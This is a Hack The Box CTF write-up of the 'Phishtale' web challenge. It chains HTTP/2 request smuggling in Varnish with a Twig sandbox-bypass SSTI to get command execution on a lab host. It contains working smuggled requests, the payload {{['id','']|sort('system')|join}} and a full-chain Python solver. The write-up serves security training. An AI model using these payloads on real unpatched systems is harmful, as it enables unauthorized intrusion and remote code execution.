Write-Ups

13 min read

Business CTF 2022: H2 Request Smuggling and SSTI - Phishtale

This blog post will cover the creator's perspective, challenge motives, and the write-up of the web challenge Phishtale from Business CTF 2022.

Rayhan0x01,
Nov 12
2022

Challenge Summary 📄

The challenge involves exploiting an HTTP/2 Request Smuggling vulnerability and bypassing Twig Sandbox Policy for Server-Side Template Injection to gain RCE.

🎮 PLAY THE TRACK

 

Challenge Motives 🧭

Developers often configure ACL rules (Access Control List) on the proxy level to restrict access to web routes containing sensitive information or functionality. They also utilize security mechanisms, such as sandboxing, for evaluating untrusted code in an isolated context on the application level. But how important is it to keep the software that enforces those security measures up to date? 

Keeping the vendor software up-to-date is just as important as deploying secure code. This challenge aims to demonstrate such cases where we have to exploit the following CVEs that allow for bypassing the security mechanisms that were set on proxy and application level:

CVE-2021-36740: Varnish Cache, with HTTP/2 enabled, allows request smuggling and VCL authorization bypass via a large Content-Length header for a POST request. 

CVE-2022-23614: When in a Sandbox mode, the `arrow` parameter of the `sort` filter allows attackers to run arbitrary PHP functions.

Challenge Write-up ✍️

Unlike traditional web challenges, we have provided the entire application source code. So, along with black-box testing, players can take a white-box pentesting approach to solve the challenge. We’ll go over the step-by-step challenge solution from our perspective on how to solve it.

Application At-a-glance 🕵️

The challenge description describes the host using the HTTP/2 protocol with a self-signed TLS certificate. Visiting the host with the "https://" scheme prompts a warning at first because of the self-signed certificate, accepting and continuing displays the following login page:

Since the application source code is provided, we can see from the challenge/.env file that the login credentials are "admin:admin":

ADMIN_USENRAME=admin
ADMIN_PASSWORD=admin

Logging in with the above credentials shows the following dashboard page:

The page appears to be a phishing kit generator where you can specify your Slack API webhook information and select one of the phishing templates for it. After filling out all the information, if we click the "Export Kit" at the bottom of the page we get the following error message from the Varnish cache server:

Looking at the varnish config file from config/default.vcl, there is an ACL rule that blocks access to the /admin/export route unless the client IP address is 127.0.0.1:

acl admin {
 "127.0.0.1";
}

sub vcl_recv {
    set req.backend_hint = default;
    if ( req.url ~ "^/admin/export" && !(client.ip ~ admin) ) {
        return(synth(403, "Only localhost is allowed."));
    }
}

HTTP/2 request smuggling in varnish 🐇

It's clear that we need access to the /admin/export route in order to use the full feature of the application so let's try to bypass the ACL restriction. The HTTP/2 protocol is also something we don't usually see in challenges. If we do a quick Google search of "varnish HTTP 2 bypass" the first results lead to the following Detectify writeup:

From the challenge Dockerfile, we can see the Varnish version installed is 6.6.0, and the CVE mentioned fits with the setup we have for this challenge:

From the description above, this Request Smuggling behavior seems similar to the H2.CL vulnerability documented by PortSwigger in the Advanced request smuggling article:

HTTP/2 requests don't have to specify their length explicitly in a header. During downgrading, this means front-end servers often add an HTTP/1 Content-Length header, deriving its value using HTTP/2's built-in length mechanism. Interestingly, HTTP/2 requests can also include their own content-length header. In this case, some front-end servers will simply reuse this value in the resulting HTTP/1 request.

The spec dictates that any content-length header in an HTTP/2 request must match the length calculated using the built-in mechanism, but this isn't always validated properly before downgrading. As a result, it may be possible to smuggle requests by injecting a misleading content-length header. Although the front-end will use the implicit HTTP/2 length to determine where the request ends, the HTTP/1 back-end has to refer to the Content-Length header derived from your injected one, resulting in a desync.

Bypassing ACL with the H2.CL Desync 🧱

Thanks to the Detectify article, we know how to reproduce the request smuggling vulnerability. We can launch a local instance of the challenge application and try our Request smuggling POC against it to verify if the exploit works:

If we check the terminal of the launched local Docker container, we can see from the logs that two different requests were processed where the 2nd request doesn't contain an IP address and receives a 302 redirect from the /admin/export endpoint:

This confirms that HTTP/2 Request smuggling is working and we can bypass the ACL restriction.

Finding SSTI via source-code review 🔎

From the challenge/config/routes.yaml file, we can see all the application routes and the controller that handles requests to that route:

index:
   path: /
   controller: App\Controller\DefaultController::index
login:
   path: /login
   controller: App\Controller\LoginController::login
adminIndex:
   path: /admin/
   controller: App\Controller\AdminController::adminIndex
exportTemplate:
   path: /admin/export
   controller: App\Controller\AdminController::exportTemplate
logout:
   path: /logout
   controller: App\Controller\AdminController::logout

We are interested in the exportTemplate function defined in challenge/src/Controller/AdminController.php that handles the requests to the route /admin/export:

public function exportTemplate(Request $request)
{
    if (!$this->get('session')->get('loggedin'))
    {
        return $this->redirect('/?msg=please login first');
    }

    $templateGenerator = new TemplateGenerator(
        $request->get('template-page'),
        $request->get('campaign'),
        $request->get('log-title'),
        $request->get('slack-url'),
        $request->get('redirect-url'),
        $this->get('twig')
    );

    if (!$templateGenerator->verifyTemplate())
    {
        return $this->redirect('/admin/?msg=Invalid Template Selected!');
    }

    $templateGenerator->generateIndex();

    if ($templateGenerator->createArchive())
    {
        return $this->redirect('/admin/?export=true');
    }

    return $this->redirect('/admin/?msg=Template Export Failed!');
}

The TemplateGenerator class initiated with the request parameters is defined in challenge/src/Service/TemplateGenerator.php:

class TemplateGenerator
{
    public $template;
    public $campaign;
    public $title;
    public $slack;
    public $redirect;

    public $rootPath    = '/www/public/static/phish_templates';
    public $exportPath  = '/www/public/static/exports';
    public $exportName  = 'phishtale.zip';
    public $indexPage;

    private $twig;

    public function __construct($template, $campaign, $title, $slack, $redirect, Environment $twig)
    {
        $this->template   = $template;
        $this->campaign   = htmlentities($campaign);
        $this->title      = htmlentities($title);
        $this->slack      = htmlentities($slack);
        $this->redirect   = htmlentities($redirect);
        $this->twig       = $twig;
    }

</snip>

The generated template export file should be in /static/exports/phishtale.zip as defined in the class variables. So let's try sending a proper request and check if the export file is generated. Notice we must also provide the PHPSESSID cookie of authenticated admin user, Content-Type, and Content-Length for the second request:

POST /login HTTP/2
Host: 127.0.0.1:1337
User-Agent: Normal-userAgent
Content-Type: application/x-www-form-urlencoded
Content-Length: 1

aPOST /admin/export HTTP/1.1
Host: 127.0.0.1
User-agent: Smuggled-userAgent
Cookie: PHPSESSID=oj0mki7ivv87u05k15o1ajd9ac
Content-Type: application/x-www-form-urlencoded
Content-length: 251

slack-url=https%3A%2F%2Fhooks.slack.com%2Fservices%2FT00000000%2FB00000000%2FXXXXXXXXXXXXXXXXXXXXXXXX&redirect-url=https%3A%2F%2Foffice.com%2F&campaign=Phishtale+0x01+%F0%9F%8E%A3&log-title=New+Phish+In+The+Pond%21+%F0%9F%90%9F&template-page=wordpress

We can confirm the above request worked by visiting the /static/exports/phishtale.zip that downloads the exported template zip file. From the exported zip, we can see the values we submitted are populated in the index.php file:

<?php

$slack_webhook = "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX";
$redirect = "https://office.com/";
$campaign = "Phishtale 0x01 🎣";
$title = "New Phish In The Pond! 🐟";

</snip>

The generateIndex() function from the TemplateGenerator class is responsible for generating the above file as defined in challenge/src/Service/TemplateGenerator.php:

public function generateIndex()
{
    $phishPage = "<?php \n\n";
    $phishPage .= "\$slack_webhook = \"$this->slack\"; \n";
    $phishPage .= "\$redirect = \"$this->redirect\"; \n";
    $phishPage .= "\$campaign = \"$this->campaign\"; \n";
    $phishPage .= "\$title = \"$this->title\"; \n";
    $phishPage .= "{% include '@phish/slack.php.twig' %}\n";
    $phishPage .= "{% include '@phish/logger.php.twig' %}\n";
    $phishPage .= "?>\n\n";
    $phishPage .= "{% include '@phish/$this->template/template.php' %}\n";

    $this->indexPage = $this->twig->createTemplate($phishPage)->render();
}

The $phishPage variable with our user input is being rendered via the PHP Twig template engine, which makes it vulnerable to Server-Side Template Injection (SSTI). If we change the title to a test SSTI payload {{7*7}} and send the request again, the resultant index file from the exported zip contains the evaluated template expression:

<?php

$slack_webhook = "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX";
$redirect = "https://office.com/";
$campaign = "Phishtale 0x01 🎣";
$title = "49";

</snip>

We can now turn 7*7 to 49 via SSTI, but we need a way to execute remote code on the server! Next, we’ll dig into the Twig template engine source code to find just that.

Digging into Twig Template Engine for RCE ⛏️

Twig template engine offers various built-in filters to be used as streams. If we look through the source code of those filters in GitHub, we see that they are using callback functions like the below filter function:

function twig_array_filter(Environment $env, $array, $arrow)
{
   if (!twig_test_iterable($array)) {
       throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
   }
 
   if (!$arrow instanceof Closure && $env->hasExtension('\Twig\Extension\SandboxExtension') && $env->getExtension('\Twig\Extension\SandboxExtension')->isSandboxed()) {
       throw new RuntimeError('The callable passed to "filter" filter must be a Closure in sandbox mode.');
   }
 
   if (\is_array($array)) {
       return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
   }
 
   // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
   return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

We can see the twig_array_filter utilizes the PHP array_filter function under the hood. If we look at the PHP manual for the array_filter function, we can see it accepts a callback function that could be used to call any arbitrary PHP function:

We can use the PHP system function as the callback function and specify the commands as array items to achieve code execution. So, an SSTI payload like the below should work:

{{['id']|filter('system')}}

Unfortunately, the above payload doesn't work, and we can see the following error in the terminal of the launched local Docker container:

It looks like the Twig Sandbox Extension is not allowing the use of the filter tag. If we take a look at the challenge/config/services.yaml file that adds the Twig engine to the Symfony framework as a service:

services:
   twig.sandbox.policy:
       class: Twig\Sandbox\SecurityPolicy
       arguments:
           # tags
           - ['include']
           # filters
           - ['upper', 'join', 'raw', 'escape', 'sort']
           # methods
           - []
           # properties
           - []
           # functions
           - []
       public: false
 
   twig.sandbox.extension:
       class: Twig\Extension\SandboxExtension
       arguments:
           - "@twig.sandbox.policy"
           - true

Twig sandbox extension is enabled, which restricts us from using tags and filters other than the ones mentioned.

Bypassing Twig sandbox policy for RCE 📦

Since we have to bypass the Sandbox of Twig, we can start by fingerprinting the version installed and checking recent CVE disclosures to see if any of them affect the one currently being used. A quick look through the list of CVEs that mention twig leads us to CVE-2022-23614:

From the challenge/composer.json file, the Twig version installed is 3.3.7, which is vulnerable to the above CVE. There is no public proof of concept of the above vulnerability, but we can reverse the POC ourselves with the given information in the description. Let's start by looking at the source code of Twig where the sort filter is defined:

/**
* Sorts an array.
*
* @param array|\Traversable $array
*
* @return array
*/
function twig_sort_filter(Environment $env, $array, $arrow = null)
{
   if ($array instanceof \Traversable) {
       $array = iterator_to_array($array);
   } elseif (!\is_array($array)) {
       throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
   }
 
   if (null !== $arrow) {
       twig_check_arrow_in_sandbox($env, $arrow, 'sort', 'filter');
 
       uasort($array, $arrow);
   } else {
       asort($array);
   }
 
   return $array;
}

The advisory mentioned the $arrow parameter which is directly passed to the PHP uasort function. From the PHP manual website, we can see a basic example of the uasort function:

Notice how the second parameter can call any arbitrary function by specifying the function's name. The array items are passed to the compare function as arguments. So, if we set a built-in PHP function name in the $arrow parameter, that should also get executed, and the array values are passed in as arguments! That's all we need to create the following payload that allows us to get RCE bypassing the sandbox policy restrictions:

{{['id', '']|sort('system')|join}}

The PHP uasort function will call the PHP system function and pass in the array item id that will result in the command execution. The join filter will convert the array to a string to be displayed on the rendered file. Sending the above payload via our H2 request smuggling works, and we can see the output:

<?php
 
$slack_webhook = "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX";
$redirect = "https://office.com/";
$campaign = "Phishtale 0x01 🎣";
$title = "uid=100(apache) gid=101(apache) groups=82(www-data),101(apache),101(apache)
id";
 
</snip>

We have just achieved command execution on the server! The next quest is to find where to get the flag. Looking at the files in the / directory, we can see a binary file called readflag. If we execute the binary with the below payload, we get the flag. Here is the final request to trigger the SSTI sandbox bypass to read the flag via H2 request smuggling:

POST /login HTTP/2
Host: 127.0.0.1:1337
User-Agent: Normal-userAgent
Content-Type: application/x-www-form-urlencoded
Content-Length: 1
 
aPOST /admin/export HTTP/1.1
Host: 127.0.0.1
User-agent: Smuggled-userAgent
Cookie: PHPSESSID=oj0mki7ivv87u05k15o1ajd9ac
Content-Type: application/x-www-form-urlencoded
Content-length: 254
 
slack-url=https%3A%2F%2Fhooks.slack.com%2Fservices%2FT00000000%2FB00000000%2FXXXXXXXXXXXXXXXXXXXXXXXX&redirect-url=https%3A%2F%2Foffice.com%2F&campaign=Phishtale+0x01+%F0%9F%8E%A3&log-title={{['/readflag','']|sort('system')|join}}&template-page=wordpress

The flag can be found on the exported zip file inside the index file:

<?php
 
$slack_webhook = "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX";
$redirect = "https://office.com/";
$campaign = "Phishtale 0x01 🎣";
$title = "HTB{5muggl3d_ph1sh_t0_54ndb0x_l4nd!}/readflag";
 
</snip>

Here's the full-chain solver script to automate the solution for the challenge:

import requests, re, urllib3, subprocess, zipfile, io
from urllib.parse import urlencode, quote_plus
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

hostURL = 'https://127.0.0.1:1337'

print('[+] Getting admin session cookie ..')
postData = {'username': 'admin', 'password': 'admin'}
resp = requests.post(f'{hostURL}/login', data=postData, allow_redirects=False, verify=False)
adminCookie = resp.cookies.get('PHPSESSID')

print('[+] Sending SSTI payload with H2 smuggling ..')
postData = {
    'slack-url': "{{ ['/readflag', '']| sort('system') | join(' ') }}",
    'redirect-url': 'https://hackthebox.com',
    'campaign': 'htb',
    'log-title': 'htb',
    'template-page': 'wordpress'
}
postData = urlencode(postData, quote_via=quote_plus)
curl_cmd = (
    "curl -i -s -k -X POST "
    "-H 'Host: 127.0.0.1' "
    "-H 'Content-Type: application/x-www-form-urlencoded' "
    "-H 'Content-Length: 1' "
    "-b 'PHPSESSID=qv6saljm95cue7lfnu0o0rn71j' "
    "--data-binary \""
    'aPOST /admin/export HTTP/1.1\x0d\x0a'
    'Host: 127.0.0.1\x0d\x0a'
    'Content-Type: application/x-www-form-urlencoded\x0d\x0a'
    f'Cookie: PHPSESSID={adminCookie}\x0d\x0a'
    f'Content-Length: {len(postData)}\x0d\x0a'
    '\x0d\x0a'
    f'{postData}\x0d\x0a" '
    f'{hostURL}/login'
)

subprocess.run(curl_cmd, shell=True, stdout=subprocess.DEVNULL)

print('[+] Downloading generated phishing archive ..')
resp = requests.get(f'{hostURL}/static/exports/phishtale.zip', verify=False)
respZip = zipfile.ZipFile(io.BytesIO(resp.content))
respZip.extractall('/tmp/extract')

print('[+] Reading flag from zip ..')

indexFile = open('/tmp/extract/wordpress/index.php').read()
flag = re.search(r'(HTB\{.*?\})', indexFile)

print(f'[*] Flag: {flag.group(0)}')

subprocess.run('rm -rf /tmp/extract', shell=True)

Impacts as seen in the bug bounty reports 📝

Do the vulnerabilities we have seen in the challenge have real-world impacts? Yes, of course! Here are a few publicly disclosed bug-bounty reports that feature the HTTP Request smuggling and Server-Side Template Injection:

Past research on HTTPRS and SSTI 📖

After the release of HTTP Desync Attacks: Request Smuggling Reborn from James Kettle, we have seen a surge of popularity in HTTP Request smuggling and Desync attacks. Many tools were created to discover HTTP Request Smuggling, most notably:

Research on newer protocols such as HTTP/2 also opened a window of attacks as documented by James Kettle in HTTP/2: The Sequel is Always Worse.

PortSwigger's article on Server-Side Template Injection covers a lot of ground on SSTI. Tools created for discovery and exploitations include:

And that's a wrap for the write-up of this challenge! If you want to try this challenge out, it's currently available to play on the main platform of Hack The Box.

Hack The Blog

The latest news and updates, direct from Hack The Box